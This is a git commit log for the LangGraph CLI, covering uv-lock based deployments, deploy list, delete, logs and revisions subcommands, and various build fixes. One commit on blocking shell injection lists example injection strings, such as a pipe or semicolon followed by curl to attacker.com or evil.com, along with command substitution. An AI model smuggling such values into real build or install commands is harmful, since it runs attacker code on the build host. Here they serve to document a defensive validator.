build pipeline. Instead of listing dependencies manually, users can
point at their existing `uv.lock` and the CLI will:
1. Discover workspace packages and their dependency graph
2. Export locked requirements via `uv export --package <name> --frozen`
3. Copy only the necessary workspace closure into the container
4. Install packages in dependency order with `--no-deps` for
reproducibility
5. Rewrite all import paths (graphs, auth, encryption, etc.) to
container paths
### New config field: `source`
Rather than using `pip` or `uv pip`, we add a new `uv_lock` installer.
The previous installers should still remain unchanged.
To avoid ambiguity, we discriminate by "source" field and **do not
permit** other arbitrary "dependencies". In this mode, we will treat the
provided root (defaults to the current directory) as the source of
truth.
This also would natively support uv workspaces, so you can specify the
target package within a larger workspace.
**Simple single-package project:**
```json
{
"python_version": "3.11",
"graphs": {
"agent": "./agent.py:graph"
},
"source": {
"kind": "uv"
}
}
```
**Multi-package workspace with explicit package:**
```json
{
"python_version": "3.11",
"graphs": {
"agent": "../../apps/agent/src/agent/graph.py:graph"
},
"source": {
"kind": "uv",
"root": "../..",
"package": "agent"
}
}
```
**Traditional pip deployment (unchanged):**
```json
{
"python_version": "3.11",
"dependencies": ["langgraph", "my-package"],
"graphs": {
"agent": "./agent.py:graph"
}
}
```
Config validation enforces mutual exclusivity. you must use either
`dependencies` or `source`, not both.
---------
Co-authored-by: Will Fu-Hinthorn <will@langchain.dev>
|
||
|
|
b3eeb4fa1d |
feat(cli): add remote build support for langgraph deploy (#7234)
**Description:** - extend host_backend client with remote build support - refactored `cli.py` for better clarity - update tests |
||
|
|
cc9acc1ba9 |
feat(cli): Add deploy revisions list command (#7142)
### Summary ``` % langgraph deploy revisions list f5bb6e58-e2ab-40b9-9855-d6dd6d1051b6 No LangSmith API key found. Create one at Settings > API Keys in LangSmith. Enter LangSmith API key: Revision ID Status Created At ------------------------------------ -------- --------------------------- fe05f163-58cf-4783-a918-0c78a8fab0c7 BUILDING 2026-03-12T20:47:14.626436Z 03c32fcf-544f-4517-a016-c7a7243b898d DEPLOYED 2026-03-12T20:30:09.199275Z 29605810-29cc-4110-ac05-d43e564827d0 DEPLOYED 2026-03-12T19:56:36.232427Z ``` |
||
|
|
bec531980d | chore: update error message (#7185) | ||
|
|
96199c4fee |
feat(cli): add langgraph deploy logs subcommand (#7100)
Add a `langgraph deploy logs` subcommand to fetch build and deploy/server logs from LangSmith deployments. ## Changes - **`host_backend.py`**: Add `get_build_logs()` and `get_deploy_logs()` methods, plus `langsmith_url` support. - **`helpers.py`** (new): Log formatting (`format_log_entry`, `format_timestamp`, `level_fg`) and resolution helpers (`resolve_deployment_id`). ## Usage ```bash # Deploy logs (latest 10) langgraph deploy logs --deployment-id <id> --limit 10 # Error logs by name langgraph deploy logs --name gtm-agent --level ERROR # Build logs langgraph deploy logs --deployment-id <id> --type build # Tail logs (Ctrl+C to stop) langgraph deploy logs --name gtm-agent --follow ``` ## Tests 56 unit tests passing covering host backend methods, log formatting, and helper functions. --------- Co-authored-by: hari-dhanushkodi <hari@langchain.dev> |
||
|
|
d595f11b43 |
feat(cli): add deploy list and deploy delete subcommands (#7118)
### Summary
This PR introduces a subcommand implementation that allows `langgraph
deploy list` and `langgraph deploy delete` subcommands.
#### `langgraph deploy list`
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 langgraph % langgraph deploy list --help ⎈ gke_langchain-test-387119_us-west1_langgraph-cloud-us-west1
Usage: langgraph deploy list [OPTIONS]
[Beta] List LangSmith Deployments.
Options:
--name-contains TEXT Only show deployments whose names contain this value.
--api-key TEXT API key. Can also be set via LANGGRAPH_HOST_API_KEY,
LANGSMITH_API_KEY, or LANGCHAIN_API_KEY environment
variable or .env file.
--help Show this message and exit.
```
Output example:
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy list
Deployment ID Deployment Name Deployment URL
------------------------------------ -------------------------- ------------------------------------------------------------------------------------
a40d6567-87c0-485a-a23d-94309a7d4519 ht-andrew-test-04 -
9da26acb-d0c9-4af0-af9e-f3fe8dfe85bc ht-anirudh-deployment-test https://ht-anirudh-deployment-test-428af4737f8a533cb2b107587eb8f38f.us.langgraph.app/
```
#### `langgraph deploy delete`
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 langgraph % langgraph deploy delete --help ⎈ gke_langchain-test-387119_us-west1_langgraph-cloud-us-west1
Usage: langgraph deploy delete [OPTIONS] DEPLOYMENT_ID
[Beta] Delete a LangSmith Deployment.
Options:
--force Delete without prompting for confirmation.
--api-key TEXT API key. Can also be set via LANGGRAPH_HOST_API_KEY,
LANGSMITH_API_KEY, or LANGCHAIN_API_KEY environment variable
or .env file.
--help Show this message and exit.
```
Output example:
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy delete a40d6567-87c0-485a-a23d-94309a7d4519
Are you sure you want to delete deployment ID a40d6567-87c0-485a-a23d-94309a7d4519? (Y/n): Y
Host API key:
Deleted deployment a40d6567-87c0-485a-a23d-94309a7d4519.
```
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy delete a40d6567-87c0-485a-a23d-94309a7d4519
Are you sure you want to delete deployment ID a40d6567-87c0-485a-a23d-94309a7d4519? (Y/n): n
Aborted!
```
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy delete 9da26acb-d0c9-4af0-af9e-f3fe8dfe85bc --force
Host API key:
Deleted deployment 9da26acb-d0c9-4af0-af9e-f3fe8dfe85bc.
```
|
||
|
|
7488cf2448 |
fix: Revert "feat(cli): Add deploy list and deploy delete subcommands" (#7116)
Reverts langchain-ai/langgraph#7106 This PR broke the `langgraph deploy` command flags. |
||
|
|
e77201cbb1 |
feat(cli): Add deploy list and deploy delete subcommands (#7106)
### Summary
This PR introduces a subcommand implementation that allows `langgraph
deploy list` and `langgraph deploy delete` subcommands.
#### `langgraph deploy list`
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 langgraph % langgraph deploy list --help ⎈ gke_langchain-test-387119_us-west1_langgraph-cloud-us-west1
Usage: langgraph deploy list [OPTIONS]
[Beta] List LangSmith Deployments.
Options:
--name-contains TEXT Only show deployments whose names contain this value.
--api-key TEXT API key. Can also be set via LANGGRAPH_HOST_API_KEY,
LANGSMITH_API_KEY, or LANGCHAIN_API_KEY environment
variable or .env file.
--help Show this message and exit.
```
Output example:
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy list
Deployment ID Deployment Name Deployment URL
------------------------------------ -------------------------- ------------------------------------------------------------------------------------
a40d6567-87c0-485a-a23d-94309a7d4519 ht-andrew-test-04 -
9da26acb-d0c9-4af0-af9e-f3fe8dfe85bc ht-anirudh-deployment-test https://ht-anirudh-deployment-test-428af4737f8a533cb2b107587eb8f38f.us.langgraph.app
```
#### `langgraph deploy delete`
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 langgraph % langgraph deploy delete --help ⎈ gke_langchain-test-387119_us-west1_langgraph-cloud-us-west1
Usage: langgraph deploy delete [OPTIONS] DEPLOYMENT_ID
[Beta] Delete a LangSmith Deployment.
Options:
--force Delete without prompting for confirmation.
--api-key TEXT API key. Can also be set via LANGGRAPH_HOST_API_KEY,
LANGSMITH_API_KEY, or LANGCHAIN_API_KEY environment variable
or .env file.
--help Show this message and exit.
```
Output example:
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy delete a40d6567-87c0-485a-a23d-94309a7d4519
Are you sure you want to delete deployment ID a40d6567-87c0-485a-a23d-94309a7d4519? (Y/n): Y
Host API key:
Deleted deployment a40d6567-87c0-485a-a23d-94309a7d4519.
```
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy delete a40d6567-87c0-485a-a23d-94309a7d4519
Are you sure you want to delete deployment ID a40d6567-87c0-485a-a23d-94309a7d4519? (Y/n): n
Aborted!
```
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy delete 9da26acb-d0c9-4af0-af9e-f3fe8dfe85bc --force
Host API key:
Deleted deployment 9da26acb-d0c9-4af0-af9e-f3fe8dfe85bc.
```
|
||
|
|
4ef61690c6 | feat(cli): add distributed runtime support to langgraph cli (#7096) | ||
|
|
65117979b4 |
feat(cli): add langgraph deploy (#7004)
Allow users to deploy to langsmith deployments from the langgraph-cli. This PR makes the following changes: 1. Add a simple host backend client with httpx 2. Adjust `progress.py` to show elapsed time for commands, and also use threading.Event to stop the spinner 3. Adjust `_build` to allow arbitrary command so we can pass `docker buildx build` and default to `docker build` 4. Add new `deploy` command, this re-uses a lot of the `langgraph build` functionality, and then uses the new host-backend client to push the built image to langsmith deployments. --------- Co-authored-by: David Asamu <david.asamu@langchain.dev> |
||
|
|
e00a027579 |
fix(cli): block shell injection chars in build/install commands (#7044)
## Summary - Adds `|`, `;`, `$`, `>`, `<`, `\t` to `DISALLOWED_BUILD_COMMAND_CHARS` to prevent command injection in CLI `build_command` / `install_command` parameters - Previously these values were interpolated directly into Dockerfile `RUN` directives with no validation - Single `&` is blocked (background execution) while `&&` remains allowed since it's commonly used in build commands (e.g. `npm install && npm build`) - Adds `has_disallowed_build_command_content()` validation function and applies it in the `build` CLI command - Mirrors langchain-ai/langchainplus#19143 **Attack examples now blocked:** - `pip install foo | curl attacker.com` (pipe) - `npm install; curl evil.com` (semicolon) - `pip install $(whoami)` (command substitution) - `pip install ${IFS}evil` (variable expansion) - `npm install & curl evil.com` (background execution) ## Test Plan - [x] 27 new unit tests covering all disallowed chars, injection patterns, single `&` rejection, `&&` allowance, and valid commands - [x] All 64 tests in `test_config.py` pass (37 existing + 27 new) 🤖 Generated with [Claude Code](https://claude.com/claude-code) --------- Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com> |
||
|
|
f9870bc9ae |
chore: Drop support for bullseye builds (#6779)
It's EOL for debian. |
||
|
|
c80d93c78a | fix(cli): Escape variable substitution in compose codegen (#6594) | ||
|
|
269d08f5d3 | feat(cli): webhook configuration (#6555) | ||
|
|
94698c8a34 |
feat: custom encryption at rest (#6482)
**Description:** This PR adds the Python SDK types necessary for langgraph platform users to inject their own custom encryption-at-rest functions. See [docs PR](https://github.com/langchain-ai/docs/pull/1715) for more details. note: this PR adds a starlette dev dependency so that custom encryption can access BaseUser information. **Issue:** required for LSD-172 **Dependencies:** - [depended upon by associated langgraph-api changes](https://github.com/langchain-ai/langgraph-api/pull/1773)(this PR must merge before that one) - [docs PR](https://github.com/langchain-ai/docs/pull/1715) **TODO:** - [x] move docs to docs repo - [x] bump package versions before merge --------- Signed-off-by: Connor Braa <cwlbraa@langchain.dev> Co-authored-by: Claude <noreply@anthropic.com> |
||
|
|
1157ec77b4 |
fix(cli): add buildkit syntax directiive, update tests (#6385)
**Description:** Adds the syntax directive to generated dockerfile for langgraph builds if we have additional contexts **Issue:** fixes issue with python monorepo builds failing **Dependencies:** N/A |
||
|
|
3f400b38d1 |
fix(cli): install local deps in editable mode (#6294)
**Description** As part of this PR #6156, local deps are no longer installed in editable mode. This change reverts that behaviour and ensures local packages are installed in editable mode. **Issue:** fixes #6288 |
||
|
|
9b46cba1fb |
fix: rename away from LangGraph Platform (#6281)
some of these changes were obvious, and some were less obvious. In a few spots, it felt like a judgement call if we should be saying LangSmith Deployment of LangGraph Server. But hopefully either works. |
||
|
|
d933d455ec |
fix(cli): change prerelease behavior (#6156)
respect users config, use uv defaults |
||
|
|
fb531b2473 |
feat(cli): add configuration for server customization ordering (#6179)
This adds a configuration option in `HttpConfig` that allows LangGraph
Platform users to apply custom authentication hooks before (other)
custom middleware. Currently, the order is fixed (custom middleware is
always evaluated before custom auth).
(Apologies for the noise in
[
|
||
|
|
11834512db |
test(cli): add tests for util.py (#6172)
### Description Added unit tests for util.py. Authored by @oumizx. Had to copy #6113 into this separate PR because langgraph/libs/cli was having issues with secrets. |
||
|
|
f087567853 |
fix(cli): handle Docker SemVer build metadata in version parsing #5965 (#6024)
Description: Corrects _parse_version to support Docker versions with SemVer build metadata (e.g., 28.1.1+1), resolving #5965. Adds comprehensive unit tests for version parsing, including normal, v-prefixed, prerelease, build metadata, combined prerelease/build metadata, and edge cases with missing components. Issue: Closes #5965 Dependencies: None --------- Co-authored-by: Sydney Runkle <54324534+sydney-runkle@users.noreply.github.com> |
||
|
|
eaeafe54ab |
feat(cli): support prereleases (#6085)
We previously errored when a user had prerelease dependencies, this PR passes the `--prereleases=allow` flag to our `uv pip install` call. This PR also adds a test to verify that said deployments will build and run as expected. |
||
|
|
d503c0bf33 |
WIP: monorepo support in CLI (#6028)
This PR introduces the `--build-command` and `--install-command` arguments to `langgraph build`. `--install-command` is a custom install command. If passed, it will be run from wherever the `langgraph build` call was made, i.e. NOT where the langgraph.json file lives (except if these are the same place). This will override the detected install command that we previously used. `--build-command` is a custom build command. This will run from wherever the langgraph.json file lives, and will be done after the install has been run. You don't need to provide both. Just providing one will make the install (detected or supplied) run in the directory from where `langgraph build was called` and then have the build command (if one exists) run in the directory where langgraph.json exists. I think we should probably allow configuring the directories from which these commands get run, but I don't think this needs to be part of the MVP. --------- Co-authored-by: William FH <13333726+hinthornw@users.noreply.github.com> |
||
|
|
998e194e82 |
release(cli): Support bookworm, trixie, etc. (#5975)
Also add support for pinning to a semantic version. |
||
|
|
40fa69f8ee | lint and format fixes | ||
|
|
00c7909c27 | Merge branch 'main' into david/30-06/support-base-image-tag | ||
|
|
58d396fcf1 | merge main | ||
|
|
9f0abf014d | format changed files | ||
|
|
8d6cd15669 | add api-version option | ||
|
|
0d8a8c5847 | feat: [CLI] Add arg to retain build deps (setuptools, pip, wheel) (#5404) | ||
|
|
87f2e69395 |
chore[deps]: upgrade dependencies with uv lock --upgrade (#5358)
* chore: upgrade dependencies with `uv lock --upgrade` * linting * upgrade PR title --------- Co-authored-by: sydney-runkle <54324534+sydney-runkle@users.noreply.github.com> Co-authored-by: Sydney Runkle <sydneymarierunkle@gmail.com> |
||
|
|
4548a0ebe8 |
feat: Customizable Pip Installer (#5098)
Let you set "pip_installer": "pip" (or uv) to handle corner cases in install compatibilities |
||
|
|
c17ee1bf5a | feat: [CLI] Add support for building deps with uv (#4995) | ||
|
|
1a76f6a92a |
🐛 [CLI] Generate one --build-context argument for each dependency in the docker build command. (#4962)
* Generate one `--build-context` for each dependency in the `docker build` command. * Try and fix test --------- Co-authored-by: Nuno Campos <nuno@langchain.dev> |